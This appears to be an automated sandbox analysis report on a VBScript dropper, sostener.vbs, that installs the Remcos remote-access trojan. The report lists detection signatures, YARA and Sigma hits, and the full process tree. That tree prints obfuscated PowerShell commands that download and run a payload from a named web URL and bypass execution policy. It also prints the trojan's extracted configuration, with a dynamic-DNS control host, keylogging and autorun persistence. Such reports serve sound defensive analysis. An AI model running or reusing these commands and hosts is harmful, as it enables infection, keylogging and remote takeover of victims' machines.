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Windows
Analysis Report
sostener.vbs
Overview
General Information
| Sample name: | sostener.vbs |
| Analysis ID: | 1519307 |
| MD5: | e260955361dc0c8454fcfa061a45f6f1 |
| SHA1: | bb77b8e3ef1c8d30cb5dbb90725d34e3c7602e13 |
| SHA256: | e9cc243923de94787673438f26c30baefe9995b38c8b8047b95726b998baf26c |
| Tags: | vbsuser-lontze7 |
| Infos: |   |
 | |
Detection
Remcos
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Remcos
Suricata IDS alerts for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
AI detected suspicious sample
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Creates autostart registry keys with suspicious names
Creates autostart registry keys with suspicious values (likely registry only malware)
Delayed program exit found
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Installs a global keyboard hook
Loading BitLocker PowerShell Module
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Uses dynamic DNS services
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript called in batch mode (surpress errors)
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Communication To Uncommon Destination Ports
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Download Pattern
Sigma detected: PowerShell Web Download
Sigma detected: Suspicious Powershell In Registry Run Keys
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Too many similar processes found
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 6368 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\soste ner.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
powershell.exe (PID: 6524 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" $ExeNy = ' J Bi Gk aw B5 Gc I 9 C Jw w DE Mw n Ds J Br G4 dwBt Hg I 9 C Jw l H egB B GM TwBn Ek bgBN HI JQ n Ds W wBC Hk d B l Fs XQBd C J Bu HU c Bj HM I 9 C WwBz H k cwB0 GU bQ u EM bw Bu HY ZQBy HQ XQ 6 D o RgBy G8 bQBC GE cw Bl DY N BT HQ cgBp G 4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ Lg BX GU YgBD Gw aQBl G 4 d p C4 R Bv Hc bgB s G8 YQBk FM d By Gk bgBn Cg J wBo HQ d B w HM Og v C8 dwB3 Hc LgBp G4 Z gBv HI bQB h GM aQBv G4 bwBw G8 cgB0 HU b gBh C4 YwB v G0 LwB3 H LQBj G8 bgB0 GU bg B0 C8 dQBw Gw bwBh G Q cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p D s WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt G E aQBu F0 Og 6 EM dQ By HI ZQBu HQ R Bv G 0 YQBp G4 LgBM G8 YQ Bk Cg J Bu HU c Bj H M KQ u Ec ZQB0 FQ eQ Bw GU K n EM b Bh HM cwBM Gk Y gBy GE cgB 5 DE LgBD Gw YQBz HM MQ n Ck L gBH GU d B N GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G 8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq G U YwB0 Fs XQBd C K n HQ e B0 C 4 cwBv GM bQBl HI Lw 3 D Lw 0 DI M y C8 cwBk GE bw Bs H dQ v HQ bgBl HQ bgBv GM L QBw Hc LwB t G8 Yw u GE bgB1 HQ cgBv H bw Bu G8 aQBj GE bQBy G 8 ZgBu Gk LgB3 Hc dw v C8 OgBz H d B0 Gg Jw g Cw I k Gs bgB3 G0 e g Cw I n F8 Xw Bf F8 XwBf F8 XwBf F 8 XwBf F8 XwBf F8 Xw Bf F8 XwBf F8 Xw t C 0 LQ t C0 LQ t C0 LQ t C0 LQ t Cc L g CQ YgBp Gs e QBn Cw I n DE Jw s C JwBS G8 Z Bh Cc I p Ck Ow ='; $KByHL = [ system.Tex t.Encoding ]::Unicode .GetString ( [system. Convert]:: FromBase64 String( $E xeNy.repla ce(' ','A' ) ) );$KBy HL = $KByH L.replace( '%pzAcOgIn Mr%', 'C:\ Users\user \Desktop\s ostener.vb s');powers hell $KByH L; MD5: 04029E121A0CFA5991749937DD22A1D9) 
conhost.exe (PID: 6536 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 6916 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "$bikyg = '013';$knw mx = 'C:\U sers\user\ Desktop\so stener.vbs ';[Byte[]] $nupcs = [system.Co nvert]::Fr omBase64St ring( (New -Object Ne t.WebClien t).Downloa dString('h ttps://www .informaci onoportuna .com/wp-co ntent/uplo ads/2024/0 9/dllskyfa l.txt'));[ system.App Domain]::C urrentDoma in.Load($n upcs).GetT ype('Class Library1.C lass1').Ge tMethod('Z xKHG').Inv oke($null, [object[] ] ('txt.so cmer/70/42 02/sdaolpu /tnetnoc-p w/moc.anut roponoicam rofni.www/ /:sptth' , $knwmx , '_________ __________ ____------ -------', $bikyg, '1 ', 'Roda' ));" MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 1396 cmdline:
powershell .exe Set-E xecutionPo licy Bypas s -Scope P rocess ; p owershell -file C:\U sers\user\ AppData\Lo cal\Temp\x x1.ps1 MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 3272 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -file C:\U sers\user\ AppData\Lo cal\Temp\x x1.ps1 MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 5432 cmdline:
powershell .exe Copy- Item 'C:\U sers\user\ Desktop\so stener.vbs ' -Destina tion 'C:\U sers\user\ AppData\Lo cal\Temp\' MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 2032 cmdline:
powershell .exe Copy- Item 'C:\U sers\user\ Desktop\so stener.vbs ' -Destina tion 'C:\U sers\user\ AppData\Lo cal\Temp\' MD5: 04029E121A0CFA5991749937DD22A1D9) 
RegSvcs.exe (PID: 6368 cmdline: "C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Svcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94) - RegSvcs.exe (PID: 2124 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Svcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)
- powershell.exe (PID: 7468 cmdline:
"C:\Window s\system32 \WindowsPo werShell\v 1.0\PowerS hell.exe" -WindowSty le hidden "& 'C:\Use rs\user\Ap pData\Loca l\Temp\xx2 .vbs' " MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7488 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - wscript.exe (PID: 7604 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Loc al\Temp\xx 2.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 7656 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -WindowSty le hidden -command w script.exe //b //nol ogo 'C:\Us ers\user\A ppData\Loc al\Temp\so stener.vbs ' MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7664 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - wscript.exe (PID: 7764 cmdline:
"C:\Window s\system32 \wscript.e xe" //b // nologo C:\ Users\user \AppData\L ocal\Temp\ sostener.v bs MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 7812 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" $ExeNy = ' J Bi Gk aw B5 Gc I 9 C Jw w DE Mw n Ds J Br G4 dwBt Hg I 9 C Jw l H egB B GM TwBn Ek bgBN HI JQ n Ds W wBC Hk d B l Fs XQBd C J Bu HU c Bj HM I 9 C WwBz H k cwB0 GU bQ u EM bw Bu HY ZQBy HQ XQ 6 D o RgBy G8 bQBC GE cw Bl DY N BT HQ cgBp G 4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ Lg BX GU YgBD Gw aQBl G 4 d p C4 R Bv Hc bgB s G8 YQBk FM d By Gk bgBn Cg J wBo HQ d B w HM Og v C8 dwB3 Hc LgBp G4 Z gBv HI bQB h GM aQBv G4 bwBw G8 cgB0 HU b gBh C4 YwB v G0 LwB3 H LQBj G8 bgB0 GU bg B0 C8 dQBw Gw bwBh G Q cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p D s WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt G E aQBu F0 Og 6 EM dQ By HI ZQBu HQ R Bv G 0 YQBp G4 LgBM G8 YQ Bk Cg J Bu HU c Bj H M KQ u Ec ZQB0 FQ eQ Bw GU K n EM b Bh HM cwBM Gk Y gBy GE cgB 5 DE LgBD Gw YQBz HM MQ n Ck L gBH GU d B N GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G 8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq G U YwB0 Fs XQBd C K n HQ e B0 C 4 cwBv GM bQBl HI Lw 3 D Lw 0 DI M y C8 cwBk GE bw Bs H dQ v HQ bgBl HQ bgBv GM L QBw Hc LwB t G8 Yw u GE bgB1 HQ cgBv H bw Bu G8 aQBj GE bQBy G 8 ZgBu Gk LgB3 Hc dw v C8 OgBz H d B0 Gg Jw g Cw I k Gs bgB3 G0 e g Cw I n F8 Xw Bf F8 XwBf F8 XwBf F 8 XwBf F8 XwBf F8 Xw Bf F8 XwBf F8 Xw t C 0 LQ t C0 LQ t C0 LQ t C0 LQ t Cc L g CQ YgBp Gs e QBn Cw I n DE Jw s C JwBS G8 Z Bh Cc I p Ck Ow ='; $KByHL = [ system.Tex t.Encoding ]::Unicode .GetString ( [system. Convert]:: FromBase64 String( $E xeNy.repla ce(' ','A' ) ) );$KBy HL = $KByH L.replace( '%pzAcOgIn Mr%', 'C:\ Users\user \AppData\L ocal\Temp\ sostener.v bs');power shell $KBy HL; MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7820 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7924 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "$bikyg = '013';$knw mx = 'C:\U sers\user\ AppData\Lo cal\Temp\s ostener.vb s';[Byte[] ] $nupcs = [system.C onvert]::F romBase64S tring( (Ne w-Object N et.WebClie nt).Downlo adString(' https://ww w.informac ionoportun a.com/wp-c ontent/upl oads/2024/ 09/dllskyf al.txt')); [system.Ap pDomain]:: CurrentDom ain.Load($ nupcs).Get Type('Clas sLibrary1. Class1').G etMethod(' ZxKHG').In voke($null , [object[ ]] ('txt.s ocmer/70/4 202/sdaolp u/tnetnoc- pw/moc.anu troponoica mrofni.www //:sptth' , $knwmx , '________ __________ _____----- --------', $bikyg, ' 1', 'Roda' ));" MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 8024 cmdline:
powershell .exe Set-E xecutionPo licy Bypas s -Scope P rocess ; p owershell -file C:\U sers\user\ AppData\Lo cal\Temp\x x1.ps1 MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 1732 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -file C:\U sers\user\ AppData\Lo cal\Temp\x x1.ps1 MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 8032 cmdline:
powershell .exe Copy- Item 'C:\U sers\user\ AppData\Lo cal\Temp\s ostener.vb s' -Destin ation 'C:\ Users\user \AppData\L ocal\Temp\ ' MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 8052 cmdline:
powershell .exe Copy- Item 'C:\U sers\user\ AppData\Lo cal\Temp\s ostener.vb s' -Destin ation 'C:\ Users\user \AppData\L ocal\Temp\ ' MD5: 04029E121A0CFA5991749937DD22A1D9) - RegSvcs.exe (PID: 7336 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Svcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94) - RegSvcs.exe (PID: 7344 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Svcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)
- powershell.exe (PID: 1740 cmdline:
"C:\Window s\system32 \WindowsPo werShell\v 1.0\PowerS hell.exe" -WindowSty le hidden "& 'C:\Use rs\user\Ap pData\Loca l\Temp\xx2 .vbs' " MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7348 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - wscript.exe (PID: 7444 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Loc al\Temp\xx 2.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 7452 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -WindowSty le hidden -command w script.exe //b //nol ogo 'C:\Us ers\user\A ppData\Loc al\Temp\so stener.vbs ' MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 3604 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - wscript.exe (PID: 7560 cmdline:
"C:\Window s\system32 \wscript.e xe" //b // nologo C:\ Users\user \AppData\L ocal\Temp\ sostener.v bs MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 7620 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" $ExeNy = ' J Bi Gk aw B5 Gc I 9 C Jw w DE Mw n Ds J Br G4 dwBt Hg I 9 C Jw l H egB B GM TwBn Ek bgBN HI JQ n Ds W wBC Hk d B l Fs XQBd C J Bu HU c Bj HM I 9 C WwBz H k cwB0 GU bQ u EM bw Bu HY ZQBy HQ XQ 6 D o RgBy G8 bQBC GE cw Bl DY N BT HQ cgBp G 4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ Lg BX GU YgBD Gw aQBl G 4 d p C4 R Bv Hc bgB s G8 YQBk FM d By Gk bgBn Cg J wBo HQ d B w HM Og v C8 dwB3 Hc LgBp G4 Z gBv HI bQB h GM aQBv G4 bwBw G8 cgB0 HU b gBh C4 YwB v G0 LwB3 H LQBj G8 bgB0 GU bg B0 C8 dQBw Gw bwBh G Q cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p D s WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt G E aQBu F0 Og 6 EM dQ By HI ZQBu HQ R Bv G 0 YQBp G4 LgBM G8 YQ Bk Cg J Bu HU c Bj H M KQ u Ec ZQB0 FQ eQ Bw GU K n EM b Bh HM cwBM Gk Y gBy GE cgB 5 DE LgBD Gw YQBz HM MQ n Ck L gBH GU d B N GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G 8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq G U YwB0 Fs XQBd C K n HQ e B0 C 4 cwBv GM bQBl HI Lw 3 D Lw 0 DI M y C8 cwBk GE bw Bs H dQ v HQ bgBl HQ bgBv GM L QBw Hc LwB t G8 Yw u GE bgB1 HQ cgBv H bw Bu G8 aQBj GE bQBy G 8 ZgBu Gk LgB3 Hc dw v C8 OgBz H d B0 Gg Jw g Cw I k Gs bgB3 G0 e g Cw I n F8 Xw Bf F8 XwBf F8 XwBf F 8 XwBf F8 XwBf F8 Xw Bf F8 XwBf F8 Xw t C 0 LQ t C0 LQ t C0 LQ t C0 LQ t Cc L g CQ YgBp Gs e QBn Cw I n DE Jw s C JwBS G8 Z Bh Cc I p Ck Ow ='; $KByHL = [ system.Tex t.Encoding ]::Unicode .GetString ( [system. Convert]:: FromBase64 String( $E xeNy.repla ce(' ','A' ) ) );$KBy HL = $KByH L.replace( '%pzAcOgIn Mr%', 'C:\ Users\user \AppData\L ocal\Temp\ sostener.v bs');power shell $KBy HL; MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7648 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7728 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "$bikyg = '013';$knw mx = 'C:\U sers\user\ AppData\Lo cal\Temp\s ostener.vb s';[Byte[] ] $nupcs = [system.C onvert]::F romBase64S tring( (Ne w-Object N et.WebClie nt).Downlo adString(' https://ww w.informac ionoportun a.com/wp-c ontent/upl oads/2024/ 09/dllskyf al.txt')); [system.Ap pDomain]:: CurrentDom ain.Load($ nupcs).Get Type('Clas sLibrary1. Class1').G etMethod(' ZxKHG').In voke($null , [object[ ]] ('txt.s ocmer/70/4 202/sdaolp u/tnetnoc- pw/moc.anu troponoica mrofni.www //:sptth' , $knwmx , '________ __________ _____----- --------', $bikyg, ' 1', 'Roda' ));" MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 2992 cmdline:
powershell .exe Set-E xecutionPo licy Bypas s -Scope P rocess ; p owershell -file C:\U sers\user\ AppData\Lo cal\Temp\x x1.ps1 MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 6468 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -file C:\U sers\user\ AppData\Lo cal\Temp\x x1.ps1 MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 7788 cmdline:
powershell .exe Copy- Item 'C:\U sers\user\ AppData\Lo cal\Temp\s ostener.vb s' -Destin ation 'C:\ Users\user \AppData\L ocal\Temp\ ' MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 7768 cmdline:
powershell .exe Copy- Item 'C:\U sers\user\ AppData\Lo cal\Temp\s ostener.vb s' -Destin ation 'C:\ Users\user \AppData\L ocal\Temp\ ' MD5: 04029E121A0CFA5991749937DD22A1D9) - RegSvcs.exe (PID: 6852 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Svcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)
- cleanup
| Name | Description | Attribution | Blogpost URLs | Link |
|---|---|---|---|---|
| Remcos, RemcosRAT | Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity. |
{"Host:Port:Password": "special2023.duckdns.org:8888:1", "Assigned name": "Nlk", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-3PWW8O", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security |
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
| JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
| JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
| Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
| JoeSecurity_GenericDownloader_1 | Yara detected Generic Downloader | Joe Security | ||
| Click to see the 38 entries | ||||
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_GenericDownloader_1 | Yara detected Generic Downloader | Joe Security | ||
| MALWARE_Win_DLAgent09 | Detects known downloader agent | ditekSHen |
| |
| JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
| JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
| Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
| Click to see the 47 entries | ||||
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
| JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
| JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
System Summary |   |
|---|
| Source: | Author: Florian Roth (Nextron Systems): | ||